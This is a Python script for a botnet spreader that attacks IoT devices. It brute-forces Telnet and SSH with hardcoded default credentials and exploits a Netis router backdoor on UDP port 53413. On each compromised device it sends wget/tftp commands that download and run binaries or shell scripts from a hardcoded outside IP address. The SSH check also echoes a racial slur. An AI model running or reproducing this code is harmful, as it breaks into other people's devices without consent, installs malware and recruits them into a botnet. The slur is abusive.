Congratz

#!/usr/bin/python
"""
	GoD-MuLTi-ScaNNeR(NeTiS/TeLNeT/SSH)
			By; Mr.Mendax
"""
import threading, sys, time, random, socket, re, os, paramiko
from Queue import *
from sys import stdout

if len(sys.argv) < 4:
	print "GoD-MuLTi-ScaNNeR\n    By: LiGhT"
	print "Usage: python "+sys.argv[0]+" <threads(1-100)> <ips per scan(100-1000)> <list>"
	sys.exit()

# USER AND PASS LISTS #
usernames = ["root", "admin", "root", "root"] #DONT CHANGE
passwords = ["oelinux123", "admin", "Zte521", "vizxv"] #DONT CHANGE
ssh_passwords = ["admin:1234", "root:1234"] #CAN CHANGE
loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE


# START CONFIGURATION #
url = "http://103.194.169.245/tftp" # ARM4 Binary
sh_file = "http://103.194.169.245/bins.sh" # SH File
commandpayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://103.194.169.245/sshd || tftp -r sshd -g 103.194.169.245; chmod 777 sshd; ./sshd; rm -rf sshd\x00" # MIPSEL Binary

# DONT TOUCH
spawn_shell = "cat | sh"
paramiko.util.log_to_file("/dev/null") #quiets paramiko output
threads = int(sys.argv[1])
h0h0 = int(sys.argv[2])
ips = open(sys.argv[3], "r").readlines()
queue = Queue()
qcount = 0
binary = url.split("/")
binary = binary[3]
ip = binary[2]

for ip in ips:
	qcount += 1
	stdout.write("\r[%d] Added to queue" % qcount)
	stdout.flush()
	queue.put(ip)
print "\n"

def readUntil(tn, string, timeout=10):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.01)
        if string in buf: return buf
    raise Exception('TIMEOUT!')

def worker():
	try:
		while True:
			try:
				if queue.empty() == True:
					sys.exit(1)
				iplist = []
				h0h0h0 = h0h0 + 1
				print "\033[33mGathering IPs\033[37m"%(ip.rstrip("\n"))
				for x in xrange(h0h0h0):
					ip = queue.get()
					iplist.append(ip)
					print "\033[33mIP Address Obtained \033[32m%s\033[37m"%(ip.rstrip("\n"))
					queue.task_done()
				time.sleep(1.5)
				print "\033[36mStarting SSH Threads\033[37m"
				for ip in iplist:
					ss = sssh(ip)
					ss.start()
					time.sleep(0.009)
				time.sleep(1)
				print "\033[32mStarting Telnet Threads\033[37m"
				for ip in iplist:
					tt = ttelnet(ip)
					tt.start()
					time.sleep(0.009)
				time.sleep(1)
				print "\033[35mStarting Netis Threads\033[37m"
				for ip in iplist:
					nn = nnetis(ip)
					nn.start()
					time.sleep(0.009)
				time.sleep(1)
			except:
				print "\033[31mWORKER ERROR\033[37m" #will fuk up if more threads/workers then ips in list
				pass
	except:
		pass

class ttelnet(threading.Thread):
		def __init__ (self, ip):
			threading.Thread.__init__(self)
			self.ip = str(ip).rstrip('\n')
		def run(self):
			try:
				tn = socket.socket()
				tn.settimeout(5)
				tn.connect((self.ip,23))
				time.sleep(0.2)
				hoho = ''
				hoho += readUntil(tn, ":")
				if "mdm9625" in hoho:
					notr00t = 1
					username = usernames[1]
					password = passwords[1]
					tn.send(username + "\n")
				elif "9615-cdp" in hoho:
					r00t = 1
					username = usernames[0]
					password = passwords[0]
					tn.send(username + "\n")
				if "F600" in hoho:
					zte = 1
					username = usernames[2]
					password = passwords[2]
					tn.send(username + "\n")
				elif "F660" in hoho:
					zte = 1
					username = usernames[2]
					password = passwords[2]
					tn.send(username + "\n")
				elif "F609" in hoho:
					zte = 1
					username = usernames[2]
					password = passwords[2]
					tn.send(username + "\n")
				if "(none)" in hoho:
					vizxv = 1
					username = usernames[3]
					password = passwords[3]
					tn.send(username + "\n")
				if "BCM" in hoho:
					BCM = 1
					username = usernames[1]
					password = passwords[1]
					tn.send(username + "\n")
			except Exception:
				tn.close()
			try:
				hoho = ''
				hoho += readUntil(tn, ":")
				if "assword" in hoho:
					tn.send(password + "\n")
					time.sleep(3)
			except Exception:
				tn.close()
			try:
				mp = ''
				mp += tn.recv(1024)
				if "#" in mp or "$" in mp or "~" in mp or ">" in mp or "root@" in mp: # !DO NOT CHANGE ANYTHING! #
					if r00t: tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
					if notr00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
					if zte: tn.send("cd /var/; rm -rf busybox filename; wget "+url+" -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" + "\n"); print "\033[32m[ZTE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
					if vizxv: tn.send("cd /var/ || cd /tmp/ || cd /dev/; tftp -r "+binary+" -g "+ip+"; chmod 777 "+binary+"; ./"+binary+"; rm -rf "+binary+""); print "\033[32m[VIZXV] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
					if BCM: tn.send(spawn_shell + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*" + "\n"); print "\033[32m[BCM] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
			except Exception:
				tn.close()
				pass

class nnetis(threading.Thread):
	def __init__ (self, ip):
		threading.Thread.__init__(self)
		self.ip = str(ip).rstrip('\n')
	def run(self):
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			print "\033[35m[NETIS] Payload Sent %s"%(self.ip)
			s.sendto(loginpayload, (self.ip, 53413))
			time.sleep(1)
			s.sendto(commandpayload, (self.ip, 53413))
			time.sleep(1)
		except Exception:
			pass

class sssh(threading.Thread):
	def __init__ (self, ip):
		threading.Thread.__init__(self)
		self.ip = str(ip).rstrip('\n')
	def run(self):
		x = 1
		while x != 0:
			try:
				username='root'
				password="0"
				port = 22
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
				dobreak=False
				for passwd in ssh_passwords:
					if ":n/a" in passwd:
						password=""
					else:
						password=passwd.split(":")[1]
					if "n/a:" in passwd:
						username=""
					else:
						username=passwd.split(":")[0]
					try:
						ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
						dobreak=True
						break
					except:
						pass
					if True == dobreak:
						break
				badserver=True
				stdin, stdout, stderr = ssh.exec_command("echo nigger")
				output = stdout.read()
				if "nigger" in output:
					badserver=False
				if badserver == False:
					print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
					ssh.exec_command("cd /tmp || cd /var/run || cd /dev; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
					time.sleep(3)
					ssh.close()
					x = 0
				if badserver == True:
					ssh.close()
			except:
				pass
			x = 0

for g in xrange(threads):
	t = threading.Thread(target=worker)
	t.setDaemon(True)
	t.start()
	time.sleep(0.001)

queue.join()
print "Finished!"